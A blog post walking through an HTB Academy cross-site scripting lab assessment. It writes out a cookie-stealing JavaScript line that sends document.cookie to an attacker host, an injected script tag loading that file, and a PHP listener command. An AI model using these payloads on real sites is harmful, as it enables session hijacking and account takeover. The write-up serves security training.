DEV Community

maz4l
maz4l

Posted on • Edited on

HTB Academy | CROSS_SITE SCRIPTING (XSS) - Skills Assessment Walkthrough

Image description

We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog.
In our Web Application Penetration Testing plan, we reached the part
where you must test the web application against Cross-Site Scripting
vulnerabilities (XSS).

Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser:

Questions:

  1. Identify a user-input field that is vulnerable to an XSS vulnerability
  2. Find a working XSS payload that executes JavaScript code on the target's browser
  3. Using the Session Hijacking techniques, try to steal the victim's cookies, which should contain the flag

Answers:

First, let's create a server on our machine and prepare a payload for testing input fields on the target site.

mkdir /tmp/tmpserver

cd /tmp/tmpserver

nano myscript.js > new Image().src='http://hacker_ip:3333/index.php?c='+document.cookie;

nano index.php

Image description

Image description
Let's start your server

sudo php -S 0.0.0.0:3333

Image description

Now let's test the input fields on the target site:

"><script src=http://hacker_ip:3333/myscript.js></script>

Image description

Great, it works!
Let's check our cookie file.
Image description
Happy Hacking!
My HTB Academy unique referral link >

Top comments (0)